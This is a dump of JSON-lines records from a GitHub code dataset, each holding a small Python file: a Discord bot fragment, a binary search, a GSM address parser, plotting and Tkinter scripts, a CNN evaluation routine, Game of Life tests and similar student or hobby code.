parameter.find(\"set_thumbnail\") == 0:\n e.set_thumbnail(url=get_i(st, \"set_thumbnail\"))\n \n for parameter in st:\n if parameter.find(\"set_image\") == 0:\n e.set_image(url=get_i(st, \"set_image\"))\n \n while True:\n for parameter in st:\n if parameter.find(\"add_field(\") == 0:\n [name, value, inline] = get_f(st, \"add_field\")\n e.add_field(name=name, value=value, inline=inline)\n continue\n break\n\n await ctx.message.delete()\n await ctx.send(embed=e)\n\n\n@client.command()\nasync def on_command_error(ctx, error):\n if isinstance(error, commands.errors.CommandNotFound):\n return\n\n\nkeep_alive()\nclient.run(os.environ['token'])\n","repo_name":"AAlpD/7-24_Discord_Bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"35211060805","text":"import pandas as pd \nimport numpy as np\nfrom rename_column import *\n\n###Function to create v1 and v4 \ndef createV1V4():\n ##Read the csv file into python and rename columns \n data = rename_data()\n #create v1\n v1 = data.loc[:,('ASK_PRICE1','ASK_SIZE1','BID_PRICE1','BID_SIZE1',\n 'ASK_PRICE2','ASK_SIZE2','BID_PRICE2','BID_SIZE2',\n 'ASK_PRICE3','ASK_SIZE3','BID_PRICE3','BID_SIZE3',\n 'ASK_PRICE4','ASK_SIZE4','BID_PRICE4','BID_SIZE4',\n 'ASK_PRICE5','ASK_SIZE5','BID_PRICE5','BID_SIZE5',\n 'ASK_PRICE6','ASK_SIZE6','BID_PRICE6','BID_SIZE6',\n 'ASK_PRICE7','ASK_SIZE7','BID_PRICE7','BID_SIZE7',\n 'ASK_PRICE8','ASK_SIZE8','BID_PRICE8','BID_SIZE8',\n 'ASK_PRICE9','ASK_SIZE9','BID_PRICE9','BID_SIZE9',\n 'ASK_PRICE10','ASK_SIZE10','BID_PRICE10','BID_SIZE10')]\n #create v4 \n mean_ASK_PRICE = (data['ASK_PRICE1'] + data['ASK_PRICE2'] + data['ASK_PRICE3'] + \n data['ASK_PRICE4'] + data['ASK_PRICE5'] + data['ASK_PRICE6'] + data['ASK_PRICE7'] + \n data['ASK_PRICE8'] + data['ASK_PRICE9'] + data['ASK_PRICE10']) / 10\n mean_BID_PRICE = (data['BID_PRICE1'] + data['BID_PRICE2'] + data['BID_PRICE3'] + \n data['BID_PRICE4'] + data['BID_PRICE5'] + data['BID_PRICE6'] + data['BID_PRICE7'] + \n data['BID_PRICE8'] + data['BID_PRICE9'] + data['BID_PRICE10']) / 10\n mean_ASK_SIZE = (data['ASK_SIZE1'] + data['ASK_SIZE2'] + data['ASK_SIZE3'] + \n data['ASK_SIZE4'] + data['ASK_SIZE5'] + data['ASK_SIZE6'] + data['ASK_SIZE7'] + \n data['ASK_SIZE8'] + data['ASK_SIZE9'] + data['ASK_SIZE10']) / 10\n mean_BID_SIZE = (data['BID_SIZE1'] + data['BID_SIZE2'] + data['BID_SIZE3'] + \n data['BID_SIZE4'] + data['BID_SIZE5'] + data['BID_SIZE6'] + data['BID_SIZE7'] + \n data['BID_SIZE8'] + data['BID_SIZE9'] + data['BID_SIZE10']) / 10\n v4 = pd.concat([mean_ASK_PRICE,mean_BID_PRICE,mean_ASK_SIZE,mean_BID_SIZE], axis=1)\n v4.columns = ['mean_ASK_PRICE','mean_BID_PRICE','mean_ASK_SIZE','mean_BID_SIZE']\n #combine v1 and v4 \n v1_v4 = pd.concat([v1,v4], axis=1)\n return(v1_v4)","repo_name":"lichenzhi/STAT222_Financial_Data","sub_path":"code/get_v1_v4_function.py","file_name":"get_v1_v4_function.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"7987222344","text":"array = [1,3,5,8,11,13,15,26,67,77,87,89,101]\n\n# pseudo\n\n# finding a number in an sorted array sort ascending\n# find the index in the middle of the array\n# return that number and check if it is <, >, or == the number\n# if middle is greater than the number, update the index of high\n # making it middle_index - 1\n # then call the function again with the updated high\n# if middle is less than the number, update the index of low\n # making it middle_index + 1\n # then call the function again\n# if middle is == to the number\n # return the index of middle\n\n\ndef binary_search(array_1, search, low=0, high=None):\n high = high or len(array_1) - 1\n middle = (low + high) / 2\n if low > high:\n print('not found')\n elif array[middle] == search:\n print(middle)\n elif array[middle] > search:\n binary_search(array, search, low=low, high=middle - 1)\n else:\n binary_search(array, search, low=middle + 1, high=high)\n\nbinary_search(array, 3)\n\n# def default_check(default = 10, def_2 = 22):\n# print default\n# print def_2\n\n# default_check(def_2 = 27)\n","repo_name":"leejroberts/Algorithms","sub_path":"python/search/binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"10901600684","text":"from enum import Enum\nfrom itertools import count\nfrom construct import Adapter, Const, Byte, Octet, BitStruct, Padding, Bytewise, GreedyBytes, Container, this, Rebuild, \\\n Prefixed\nfrom gsm_layer3_protocol.enums import bcd_type_of_number, bcd_number_plan\n\nNumbersEncoding = Enum(\"NumbersEncoding\",\n zip([\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"*\", \"#\", \"a\", \"b\", \"c\"], count()))\n\n\nclass BcdAddresAdapter(Adapter):\n def _decode(self, obj, context, path):\n number = \"\"\n for octet in obj:\n if octet & 0xf0 == 0xf0:\n number += NumbersEncoding(octet & 0x0f).name\n break\n else:\n number += NumbersEncoding(octet & 0x0f).name + NumbersEncoding((octet >> 4) & 0x0f).name\n return number\n\n def _encode(self, obj, context, path):\n data = b\"\"\n for i in range(0, len(obj), 2):\n if i == len(obj) - 1:\n data += (0xf0 + NumbersEncoding[obj[i]].value).to_bytes(1, \"big\")\n else:\n data += ((NumbersEncoding[obj[i + 1]].value << 4) + NumbersEncoding[obj[i]].value).to_bytes(1, \"big\")\n return data\n\n\nclass AddressField(Container):\n def __init__(self, type_of_number, number_plan, number):\n super().__init__(type_of_number=type_of_number, number_plan=number_plan, number=number)\n\n\nzero_lengthed_bcd_address = Const(0x00, Byte)\nservice_center_address = Prefixed(\n Byte,\n BitStruct(\n \"ext\" / Padding(1, b\"\\x01\"),\n \"type_of_number\" / bcd_type_of_number,\n \"number_plan\" / bcd_number_plan,\n \"number\" / Bytewise(BcdAddresAdapter(GreedyBytes)),\n )\n)\nbcd_address = BitStruct(\n \"_number_octets\" / Rebuild(Octet, lambda ctx: len(ctx.number)),\n \"ext\" / Padding(1, b\"\\x01\"),\n \"type_of_number\" / bcd_type_of_number,\n \"number_plan\" / bcd_number_plan,\n \"number\" / Bytewise(BcdAddresAdapter(Byte[(this._number_octets + (this._number_octets % 2)) // 2])),\n)\n","repo_name":"matan1008/gsm-layer3-protocol","sub_path":"gsm_layer3_protocol/sms_protocol/called_party_bcd_address.py","file_name":"called_party_bcd_address.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"30107563161","text":"#!/usr/bin/env python\n# coding=UTF-8\nfrom house_spider import CityModel\nfrom html_utils import transform\n\n__author__ = 'matrix.lisp@gmail.com'\n\n\ndef init():\n index_url = 'http://bj.ganji.com/xiaoqu'\n create_new = True\n city_model = CityModel(index_url=index_url, create_new=create_new)\n\n area_select = '//dl[@class=\"selitem selitem-area lh24 clearfix\"]' \\\n '//div[@class=\" clearfix\"]/a[@rel=\"nofollow\"]'\n subarea_select = '//dl[@class=\"selitem selitem-area lh24 clearfix\"]' \\\n '//div[@class=\"subarea clearfix\"]/a[@rel=\"nofollow\"]'\n city_model.get_basic_data(area_select, subarea_select)\n city_model.save_basic()\n\n\ndef process():\n index_url = 'http://bj.ganji.com/xiaoqu'\n create_new = False\n city_model = CityModel(index_url=index_url, create_new=create_new)\n page_select = '//div[@class=\"pageBox\"]/ul/li/a'\n community_select = '//div[@class=\"listBox\"]/ul/li'\n name_select = './div[@class=\"list-mod2\"]/div[@class=\"info-title\"]/a'\n price_select = './div[@class=\"list-mod3 xq-price clearfix\"]/p/b'\n city_model.get_all_community(page_select, community_select, name_select, price_select)\n city_model.save()\n\n\ndef create_js_data():\n index_url = 'http://bj.ganji.com/xiaoqu'\n create_new = False\n city_model = CityModel(index_url=index_url, create_new=create_new)\n\n ak = ''\n city = '北京市'\n transform(city_model.community_data, ak, city)\n\n\ndef main():\n # 初始化, 完成基础数据的���取\n init()\n\n # 抓取小区信息\n process()\n\n # 根据小区位置生成热力图所需的js文件\n create_js_data()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"matrix-lisp/house_spider","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"30421892350","text":"#!/usr/bin/python3\ntry:\n # for python2\n from Tkinter import *\nexcept ImportError:\n # for python3\n from tkinter import *\n from tkinter import filedialog\n\nimport numpy as np\nfrom numpy import arange\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport math\nimport scipy\nimport scipy.io\nimport scipy.io.wavfile as wavfile\nfrom toshokan import File, Frame, Tieng\nfrom sekkei import Config\nimport os, time\nalpha = 3.0\nbeta = 20\ngama = 0.9\ndef Gp(t):\n if t >= 0:\n return alpha * alpha * t * math.exp(- alpha * t)\n else:\n return 0\ndef Ga(t):\n if t >= 0:\n return min([gama, 1 - (1 + beta * t) * math.exp(- beta * t)])\n else:\n return 0\ndef F0(Fb, Ap, Aa):\n result = []\n lnFb = math.log(Fb)\n for t in range(max([len(Ap), len(Aa)])):\n phrase_sum = 0\n for idx, i in enumerate(Ap):\n if i != 0:\n phrase_sum += i * Gp(t - idx)\n accent_sum = 0\n Aai = None\n onset = None\n offset = None\n for idx, i in enumerate(Aa):\n if i != Aai: \n if onset != None and offset != None:\n accent_sum += Aai * (Ga(t - onset) - Ga(t - offset))\n #print(Aai, onset, offset, \"\\n\")\n Aai = i\n onset = idx\n offset = idx\n else:\n offset = idx\n\n result.append(lnFb + phrase_sum + accent_sum)\n t += 1\n return result\n\nAp = []\nAa = []\nFb = 140\nfor i in range(1000):\n if i % 50 == 0:\n Ap.append(1)\n else:\n Ap.append(0)\n\nfor i in range(100):\n if 5 <= i and i <= 10:\n Aa.append(1)\n elif 20 <= i and i <= 30:\n Aa.append(2)\n else:\n Aa.append(0)\nmainWindow=Tk()\n\nfig, ax = plt.subplots(3, 1, num='Sound Diagram')\nfig.suptitle('fujisaki model', fontsize=20)\nax[0].plot(Ap)\nax[1].plot(Aa)\nax[2].plot(F0(Fb, Ap, Aa))\nfig.show()\n\nmainWindow.geometry('100x100+10+10')\nmainWindow.title(\"Xu li am thanh\")\nButton(mainWindow,text=\"Thoat\",command=quit).grid(row=9,column=1)\nmainWindow.mainloop()\n\n","repo_name":"oNguyenDinhHung/python","sub_path":"fujisaki_test.py","file_name":"fujisaki_test.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"34096585681","text":"# move all elements containing '0' to the left\n# while maintaining the order of other elements in the array\n\ndef move_zeros_to_left(arr):\n if len(arr) < 1:\n return\n\n length = len(arr)\n write_index = length - 1\n read_index = length - 1\n\n while(read_index >= 0):\n if arr[read_index] != 0:\n arr[write_index] = arr[read_index]\n write_index -= 1\n\n read_index -= 1\n\n while(write_index >= 0):\n arr[write_index] = 0\n write_index -= 1\n\ndef main():\n test = [1, 10, -1, 11, 5, 0, -7, 0, 25, -35]\n move_zeros_to_left(test)\n print(test) # [0, 0, 1, 10, -1, 11, 5, -7, 25, -35]\n\nmain()\n","repo_name":"april-april/CTCI","sub_path":"Arrays/move_zeros_to_left.py","file_name":"move_zeros_to_left.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"36859586899","text":"import cv2\nimg = cv2.imread('panjangbet.png')\n#split image per 350px\nfor r in range(0,img.shape[0],350):\n ke=1\n for c in range(0,img.shape[1],350):\n cv2.imwrite(f\"{ke}.png\",img[r:r+1, c:c+350,:])\n ke+=1\n\n# join object img cv\nall_image = []\nfor r in range(1,351):\n im = cv2.imread(f'{r}.png')\n all_image.append(im)\n \n# merge semua gambar jadi 1\nim_v = cv2.vconcat(all_image)\ncv2.imwrite('hasil.png', im_v)","repo_name":"khairu-aqsara/ctf-writeups","sub_path":"Forensics/Panjang Bet/s.py","file_name":"s.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"18320927345","text":"import numpy as np\nimport polyinterp\n\ndef riemannint(f,a,b,numnodes):\n x, stepsize = np.linspace(a,b,numnodes,retstep=True)\n fx = f(x)\n return sum(stepsize*fx)\n\ndef riemannint_gen(f,nodes):\n nodes = np.array(nodes)\n fx = f(nodes[1:])\n h = nodes[1:] - nodes[:len(nodes)-1]\n return sum(h*fx)\n\ndef CNCquadweight(n):\n \"\"\"\n Args:\n n : int\n degree of the Reference Lagrange Polynomial\n \"\"\"\n x = np.linspace(0,1,n+1)\n fx = np.zeros(len(x))\n w = np.zeros(len(x))\n for k in range(len(x)):\n fx[k] = 1\n a = polyinterp.UndeterminedCoef(fx,x)\n y = 1/np.array(range(1,n+2))\n w[k] = n*sum(a*y) \n fx[k] = 0\n return w\n\ndef ClosedNewtonCotes(f,a,b,weights,numnodes):\n n = len(weights)\n x, stepsize = np.linspace(a,b,numnodes,retstep=True)\n h = stepsize/(n-1)\n s = 0\n for k in range(numnodes-1):\n y = np.linspace(x[k],x[k+1],n)\n fy = f(y)\n s = s + sum(weights*fy)\n return s*h\n\ndef fun(x): return np.exp(x)\nwei = CNCquadweight(5)\nprint(wei)\nprint(ClosedNewtonCotes(fun,0,1,wei,1000))\nprint(riemannint(fun,0,1,1000))","repo_name":"Raphael-Quinones/CMSC-117","sub_path":"Exercise 5/integrate.py","file_name":"integrate.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"18142647528","text":"# your code goes here\nfor i in range(int(input())):\n\tsize=int(input())\n\tarr=list(map(int,input().split()))\n\tarr.sort()\n\tm=size//2\n\ta1=arr[:m]\n\tb1=arr[m::]\n\t\t#print(a,b)\n\ta=sum(a1)\n\tb=sum(b1)\n\tif(a==b):\n\t\tprint(0)\n\telse:\n\t\tprint((a-b))","repo_name":"abhishekborana/Practice-Problem-10xAcademy","sub_path":"balance101.py","file_name":"balance101.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"5946249523","text":"from lib.graphs import getCleanGraph\nfrom lib.geometry import closestPoints, edgeLength\nfrom numpy import random\n\ndef fullyConnectedGraph(neurites: dict, epsilon: float):\n G = getCleanGraph()\n\n neuron_neurite_Tuples = neurites.items()\n\n for neuron1, neurite1 in neuron_neurite_Tuples:\n for neuron2, neurite2 in neuron_neurite_Tuples:\n if (neuron1 != neuron2): \n dist = closestPoints(neurite1, neurite2)[2]\n if (dist <= epsilon):\n distance = edgeLength(G, neuron1, neuron2)\n G.add_edge(neuron1, neuron2, distance=distance)\n print('Number of Edges in Fully Connected SEEM Graph: ', G.number_of_edges())\n return G\n\ndef seemInstance(edgeCount: int, FC_Graph):\n if FC_Graph.number_of_edges() < edgeCount:\n print('ERROR: edge count too high')\n return False\n\n rng = random.default_rng()\n keptEdges = rng.choice(list(FC_Graph.edges().data()), size=edgeCount, replace=False)\n \n G = getCleanGraph()\n\n G.add_edges_from(keptEdges)\n\n return G\n\ndef generateInstances(edgeCount: int, n: int, FC_Graph):\n return [seemInstance(edgeCount, FC_Graph) for i in range(n)]","repo_name":"Zach-Attach/SEEM","sub_path":"lib/seem.py","file_name":"seem.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"41021783607","text":"__author__ = \"Jerome Kieffer\"\n__license__ = \"GPLv3+\"\n__copyright__ = \"ESRF Grenoble\"\n\nimport os\nfrom EDVerbose import EDVerbose\nfrom EDAssert import EDAssert\nfrom EDTestCasePluginExecute import EDTestCasePluginExecute\nfrom XSDataHDF5v1_0 import XSDataInputHDF5MapSpectra\nfrom XSDataHDF5v1_0 import XSDataResultHDF5MapSpectra\n\nclass EDTestCasePluginExecuteHDF5MapSpectrav10(EDTestCasePluginExecute):\n \"\"\"\n Those are all execution tests for the EDNA Exec plugin HDF5MapSpectrav10\n \"\"\"\n\n def __init__(self, _strTestName=None):\n \"\"\"\n \"\"\"\n EDTestCasePluginExecute.__init__(self, \"EDPluginHDF5MapOfSpectrav10\")\n# self.setConfigurationFile(os.path.join(self.getPluginTestsDataHome(),\n# \"XSConfiguration_HDF5MapSpectra.xml\"))\n self.setDataInputFile(os.path.join(self.getPluginTestsDataHome(), \\\n \"XSDataInputHDF5MapOfSpectra_reference.xml\"))\n self.setReferenceDataOutputFile(os.path.join(self.getPluginTestsDataHome(), \\\n \"XSDataResultHDF5MaOfpSpectra_reference.xml\"))\n def preProcess(self):\n \"\"\"\n PreProcess of the execution test: download an EDF file from http://www.edna-site.org\n and remove any existing output file, i.e. /tmp/edna-$USER/stack.h5 \n \"\"\"\n EDTestCasePluginExecute.preProcess(self)\n self.loadTestImage([ \"projections5077.edf\", \"projections5078.edf\", \"projections5204.edf\", \"projections5203.edf\"])\n strExpectedOutput = self.readAndParseFile (self.getDataInputFile())\n xsDataResultReference = XSDataInputHDF5MapSpectra.parseString(strExpectedOutput)\n self.outputFileName = xsDataResultReference.getHDF5File().getPath().getValue()\n EDVerbose.DEBUG(\" Output file is %s\" % self.outputFileName)\n if not os.path.isdir(os.path.dirname(self.outputFileName)):\n os.makedirs(os.path.dirname(self.outputFileName))\n if self.getClassName() == \"EDTestCasePluginExecuteHDF5MapSpectrav10\":\n self.removeDestination()\n\n def removeDestination(self):\n if os.path.isfile(self.outputFileName):\n EDVerbose.DEBUG(\" Output file exists %s, I will remove it\" % self.outputFileName)\n os.remove(self.outputFileName)\n\n def testExecute(self):\n \"\"\"\n \"\"\"\n self.run()\n strExpectedOutput = self.readAndParseFile (self.getReferenceDataOutputFile())\n strObtainedOutput = self.readAndParseFile (self.m_edObtainedOutputDataFile)\n EDVerbose.DEBUG(\"Checking obtained result...\")\n xsDataResultReference = XSDataResultHDF5MapSpectra.parseString(strExpectedOutput)\n xsDataResultObtained = XSDataResultHDF5MapSpectra.parseString(strObtainedOutput)\n\n EDAssert.equal(xsDataResultReference.marshal(), xsDataResultObtained.marshal(), \"Check if XSDataResult are exactly the same\")\n\n\n\n def process(self):\n \"\"\"\n \"\"\"\n self.addTestMethod(self.testExecute)\n\n\n\nif __name__ == '__main__':\n\n testHDF5MapSpectrav10instance = EDTestCasePluginExecuteHDF5MapSpectrav10(\"EDTestCasePluginExecuteHDF5MapSpectrav10\")\n testHDF5MapSpectrav10instance.execute()\n","repo_name":"maaeli/edna","sub_path":"execPlugins/plugins/EDPluginGroupHDF5-v1.0/tests/testsuite/EDTestCasePluginExecuteHDF5MapSpectrav10.py","file_name":"EDTestCasePluginExecuteHDF5MapSpectrav10.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"68"} +{"seq_id":"14565047131","text":"# You can edit this code and run it right here in the browser!\n# First we'll import some turtles and shapes: \nfrom turtle import *\nfrom shapes import *\nimport time\n\n\n# Create a turtle named Tommy:\ntommy = Turtle()\ntommy.shape(\"turtle\")\ntommy.speed(100)\n\n# Draw three circles:\ndraw_circle(tommy, \"black\", 45, 37, 17)\ndraw_circle(tommy, \"peachpuff\", 50, 25, 0)\ntommy.begin_fill()\ntommy.goto(-25,0)\ntommy.circle(30,-180)\ntommy.goto(25,50)\ntommy.end_fill()\ntommy.fillcolor(\"firebrick\")\ntommy.goto(-25,0)\ntommy.begin_fill()\ntommy.circle(-10)\ntommy.end_fill()\ntommy.color(\"black\")\ntommy.goto(-25,0)\ntommy.circle(-10)\ndraw_circle(tommy, \"black\", 13, 0, 70)\ndraw_circle(tommy, \"white\", 5, 0, 63)\ndraw_circle(tommy, \"black\", 13, 40, 70)\ndraw_circle(tommy, \"white\", 5, 40, 63)\ntommy.penup()\ntommy.color(\"black\")\ntommy.goto(15,73)\ntommy.pendown()\ntommy.right(90)\ntommy.circle(13, 180)\ntommy.penup()\ntommy.goto(28, 70)\ntommy.pendown()\ntommy.circle(13, -180)\ntommy.penup()\ntommy.goto(-3, 91)\ntommy.pendown()\ntommy.begin_fill()\ntommy.circle(3,-360)\ntommy.end_fill()\ntommy.goto(10, 100)\ntommy.begin_fill()\ntommy.circle(3)\ntommy.goto(7,105)\ntommy.goto(-5, 96)\ntommy.goto(-3, 91)\ntommy.goto(10, 100)\ntommy.end_fill()\ntommy.penup()\ndraw_circle(tommy, \"black\", 3, 20, 91)\ntommy.begin_fill()\ntommy.goto(10, 102)\ntommy.goto(7, 97)\ntommy.goto(16, 88)\ntommy.end_fill()\n\ndraw_circle(tommy,\"black\", 3, 35, 91)\ntommy.pendown()\ntommy.begin_fill()\ntommy.goto(45,100)\ntommy.circle(3)\ntommy.goto(35, 100)\ntommy.goto(28, 91)\ntommy.end_fill()\ntommy.penup()\ntommy.goto(55, 91)\ntommy.begin_fill()\ntommy.pendown()\ntommy.circle(3)\ntommy.goto(49, 91)\ntommy.goto(40, 100)\ntommy.end_fill()\ntommy.goto(43, 100)\n\ntommy.penup()\ndraw_circle(tommy, \"peachpuff\", 15, 97, 30)\ntommy.penup()\ntommy.goto(0, -100)","repo_name":"CarrotLP/python-drawings","sub_path":"shinchan.py","file_name":"shinchan.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"4638629710","text":"# Import libraries\nfrom tkinter import *\nfrom tkinter import ttk\n\n\nroot = Tk()\nroot.title(\"Easy Ticket\")\nroot.geometry('500x500')\n\n\n# Creating a variables for prices\nsc = 40\nmv = 75\nth = 100\n\n# Creating Tkinter widgets\nvar = StringVar()\n\nentry1 = Entry(root, width=23)\nentry1.place(x=200,y=50)\n\ncat = ttk.Combobox(root, textvariable=var, width=10, value=[\"Soccer\", \"Movie\", \"Theater\"])\ncat.place(x=250, y=100, width=180)\n\nnum = ttk.Spinbox(root, from_=0, to=100, state=\"readonly\")\nnum.place(x=250, y=150)\n\nlblcell = Label(root, text=\"Cellphone number: \")\nlblcell.place(x=50,y=50)\n\nlblcat = Label(root, text=\"Ticket Category: \")\nlblcat.place(x=50, y=100)\n\nlbltik = Label(root, text=\"Number of tickets: \")\nlbltik.place(x=50, y=150)\n\nans = Label(root)\nans.place(x=350, y=250)\n\n\n#Creating class\nclass clsTiketSales:\n def __init__(self, celno, num_tickets, price):\n self.celno = celno\n self.num_tickets = num_tickets\n self.price = price\n return\n\n# Creates function for button\n def calc():\n\n# Passes through class\n sale = clsTiketSales(entry1.get(), float(num.get()), cat.get())\n\n if cat.get() == \"Soccer\":\n scprice = sc * int(num.get()) + (14/100)\n ans.config(text=\"Price:\"+ str(scprice) + \"\\n\" + \"tickets:\"+str(num.get()) + \"\\n\" +\"Number:\"+ str(entry1.get()))\n if cat.get() == \"Movie\":\n mvprice = mv * int(num.get()) + (14/100)\n ans.config(text=\"Price:\"+ str(mvprice) + \"\\n\" + \"tickets:\"+str(num.get()) + \"\\n\" +\"Number:\"+ str(entry1.get()))\n if cat.get() == \"Theater\":\n thprice = th * int(num.get()) + (14/100)\n ans.config(text=\"Price:\"+ str(thprice) + \"\\n\" + \"tickets:\"+str(num.get()) + \"\\n\" +\"Number:\"+ str(entry1.get()))\n\n# function\n\n#Creating button\n btn = Button(root, text=\"calculate\", command=calc, width=20, height=1)\n btn.place(x=50, y=250)\n# Adds widgets\n\n\nroot.mainloop()\n","repo_name":"Vuyani2/Easy_tickets","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"71102101657","text":"import torch\nimport torch.nn.functional as F\nfrom torch import stack\nfrom datetime import datetime\nfrom sklearn.metrics import confusion_matrix, roc_curve, roc_auc_score, precision_recall_curve\nimport pandas as pd\nimport numpy as np\nfrom Functions.plt_loss_accuracy import plot_confusion_mat, build_confusion_mat, plot_roc, build_roc\n\n\n# Paths for files that will be saved in script\npath2saveCM = '/home/joy/Documents/Neuroscience_Master/Neural_Networks/CNN_project1/Modelsaved/SGD_Model/FinalTestConfusionMat_45epochs_SGD.png'\npath2saveROC = '/home/joy/Documents/Neuroscience_Master/Neural_Networks/CNN_project1/Modelsaved/SGD_Model/FinalTest_ROC_45epochs_SGD.png'\n\n\ndef test(model, test_dl):\n # initialize a dictionary to store testing history\n history = {\"test_loss\": [], \"test_acc\": []}\n totalTestLoss = []\n testCorrect = 0\n testCorrect2 = 0\n correct = []\n incorrect = []\n y_true = []\n y_pred = []\n y_pred_prob = []\n classes_names = [\"Blank\", \"ICMS\"]\n ndate = datetime.now()\n daten = ndate.strftime('%d_%m_%y')\n i = 0\n\n # switch off autograd for evaluation\n with torch.no_grad():\n # set the model in evaluation mode\n model.eval()\n # loop over the test set\n for (x, y) in test_dl:\n x = x[:, None, :, :, :] # Add fifth dimension - number of channels = 1 (gray scale image)\n x = x.type(torch.FloatTensor)\n\n # make the predictions and calculate the validation loss\n prob_pred = F.sigmoid(model(x))\n test_loss = F.cross_entropy(prob_pred, y)\n totalTestLoss.append(test_loss)\n\n # calculate the number of correct predictions\n argmax_preds = prob_pred.argmax(1)\n\n testCorrect += (argmax_preds == y).type(torch.float).sum().item()\n # testCorrect2 += (check_preds1 == y).type(torch.float).sum().item()\n\n # Params for confusion mat, ROC/AUC and precision-recall curves\n output = argmax_preds.data.cpu().numpy()\n max_prob_preds = prob_pred.cpu().numpy()\n max_prob_preds = [item[1] for item in max_prob_preds]\n true_labels = y.data.cpu().numpy()\n y_true.extend(true_labels)\n y_pred.extend(output)\n y_pred_prob.extend(max_prob_preds)\n\n # Append correct and incorrect file names for text files creation:\n for index in range(len(argmax_preds)):\n ind = test_dl.dataset.indices[i]\n if argmax_preds[index] == y[index]:\n # correct.append(test_dl.dataset.samples[i])\n correct.append(test_dl.dataset.dataset.samples[ind])\n else:\n incorrect.append(test_dl.dataset.dataset.samples[ind])\n i = i + 1\n\n # Create a files with all the incorrect and correct predictions and save them:\n title_in = \"Incorrect_preds_\"+daten+\"_SGD_fixed.txt\"\n textfile = open(title_in, \"w\")\n for element in incorrect:\n textfile.write(element[0])\n textfile.write(\"\\n\")\n textfile.close()\n\n title_corr = \"Correct_preds_\"+daten+\"_SGD_fixed.txt\"\n textfile = open(title_corr, \"w\")\n for element in correct:\n textfile.write(element[0])\n textfile.write(\"\\n\")\n textfile.close()\n\n # avgTestLoss = torch.mean(stack(totalTestLoss))\n avgTestLoss = torch.mean(stack(totalTestLoss))\n testlen = len(test_dl.dataset)\n testAccuracy = testCorrect / testlen\n\n # history[\"test_loss\"].append(avgTestLoss.cpu().detach().numpy())\n history[\"test_loss\"].append(avgTestLoss.cpu().detach().numpy())\n history[\"test_acc\"].append(testAccuracy)\n\n print(\"\\n##########################################################################\")\n print(\"##########################################################################\\n\")\n print(\"Test loss: {:.6f}, Test accuracy: {:.4f}\".format(avgTestLoss, testAccuracy))\n print(\"\\n\")\n print(\"##########################################################################\")\n print(\"##########################################################################\\n\")\n\n # Build and plot confusion matrix for test set:\n cf_matrix = confusion_matrix(y_true, y_pred)\n df_cm = pd.DataFrame(cf_matrix/np.sum(cf_matrix) * 100, index=[i for i in classes_names], columns=[i for i in classes_names])\n build_confusion_mat(df_cm, path2saveCM)\n\n # Build and plot ROC and AUC curve:\n fpr, tpr, thr = roc_curve(y_true, y_pred_prob, pos_label=1)\n print('Thresholds: ', thr)\n\n # roc curve for tpr = fpr\n random_probs = [0 for i in range(len(y_true))]\n p_fpr, p_tpr, _ = roc_curve(y_true, random_probs, pos_label=1)\n\n build_roc(fpr, tpr, p_fpr, p_tpr, path2saveROC)\n # calculate AUC:\n auc = roc_auc_score(y_true, y_pred_prob)\n print('AUC: %.3f' % auc)\n\n return history\n\n","repo_name":"MJoym/ICMS-Classification","sub_path":"CNN_project1/Functions/test_data.py","file_name":"test_data.py","file_ext":"py","file_size_in_byte":5012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"13062967267","text":"\"\"\"\r\nTests for Conways Game of Life\r\n\r\n\"\"\"\r\n\r\nimport unittest\r\nfrom GoL import GoL\r\n\r\nclass InitTest(unittest.TestCase):\r\n def test_WeCanInitializeAGoL(self):\r\n ''' We can initialize a GoL with a given Size\r\n '''\r\n self.GoL = GoL(rows = 10, columns = 10)\r\n self.assertTrue(isinstance(self.GoL, GoL))\r\n \r\n def test_GoLHasCorrectDimensions(self):\r\n self.GoL = GoL(rows = 10, columns = 10)\r\n self.assertTrue( len(self.GoL._playfield) == 10)\r\n for row in self.GoL._playfield:\r\n self.assertTrue(len(row) == 10)\r\n \r\n \r\nclass FunctionTests(unittest.TestCase):\r\n def setUp(self):\r\n super(FunctionTests, self).setUp()\r\n self.GoL = GoL(10, 10)\r\n \r\n def test_WeCanPrintTheGame(self):\r\n printtext = str(self.GoL)\r\n empty_field = \". . . . . . . . . . \\n\" * 10\r\n self.assertIn('Game of Life', 